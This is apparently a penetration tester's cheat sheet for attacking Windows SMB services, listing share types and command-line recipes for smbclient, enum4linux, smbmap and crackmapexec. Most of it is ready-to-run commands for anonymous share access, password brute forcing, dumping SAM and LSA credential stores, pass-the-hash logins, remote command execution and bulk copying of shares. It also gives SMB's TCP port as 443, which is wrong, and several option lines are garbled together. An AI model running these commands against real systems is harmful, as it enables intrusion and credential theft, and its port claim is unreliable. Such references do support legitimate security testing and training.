SMB
Server Message Block.
Used to share folders, printers, resources.
Works over
Port 139 over NetBIOS (Older machines)
Port 443 over TCP
Shares
Folders that a machine shares in order to be accessed by other computer/users.
ADMIN$
The
%SystemRoot%directory of the machine. Only accessible to Administrators of the machine.
C$
The C:\ drive of the machine, only accessible to Administrators of that machine.
IPC$
A special share that is used
Inter Process Communicationused by MSRPC.Performs actions such as:
List all shares
List all users
List files within a share
Start/stop services
SYSVOL
A special share in domain controllers that stores Group Policy, scripts, junction point.
NETLOGON
This share is used to store logon scripts (executes when user logs in) and other files.
Enumeration
smbclient
FTP-like client for SMB
# List Shares
smbclient -U "[domain\]username%password" -L //<hostname/IP>
# Connect to a share
smbclient -U "[domain\]username%password" //<hostname/IP>/C$
# Anonymous Login/Null Session
smbclient --no-pass -L //<hostname/IP>
smbclient -U "%" -L //<hostname/IP>enum4linux
enum4linux -a -u <username> -p <password> <target>smbmap.py
smbmap.py -H <target> [options]-u <username>`-p
-r <sharename>: list content of the share-x <command>: execute command remotely--upload <file> <sharepath>: upload to file share--down <file>: download from file share
crackmapexec
# List shares
cme smb <target> -u <username> -p <password>
# Test null session
cme smb <target> -u '' -p '' --shares
# Brute force passwords
cme smb <target> -u ./user.txt -p ./pass.txt
cme smb <target> -u ./user.txt -p ./pass.txt --continue-on-success
# list shares
cme smb <target> -u <username> -p <password> --shares
# dump sam database of the target
cme smb <target> -u <username> -p <password> --sam
# dump lsa secrets from lsass memory
cme smb <target> -u <username> -p <password> --lsa
# get sessions
cme smb <target> -u <username> -p <password> --sessions
# Get loggedon users
cme smb <target> -u <username> -p <password> --loggonon-users
# list disks
cme smb <target> -u <username> -p <password> --disks
# list users
cme smb <target> -u <username> -p <password> --users
# list groups
cme smb <target> -u <username> -p <password> --groups
# list local groups
cme smb <target> -u <username> -p <password> --local-groups
# list password policy
cme smb <target> -u <username> -p <password> --pass-pol
# Execute commands
cme smb <target> -u <username> -p <password> -x 'command' # CMD
cme smb <target> -u <username> -p <password> -X 'powershell' # CMD
# Pass the hash
cme smb <target> -u <username> -H <hash>
# list smb modules
cme smb -L
# Use modules
cme smb <target> <option> -M <module_name>Cloning entire share
smbclient //domain.loc/sharename
smb: \> RECURSE ON # set recursive to on
smb: \> PROMPT OFF # do no ask y/n for every directory
smb: \> mget * # get everyhing * = wildcardLast updated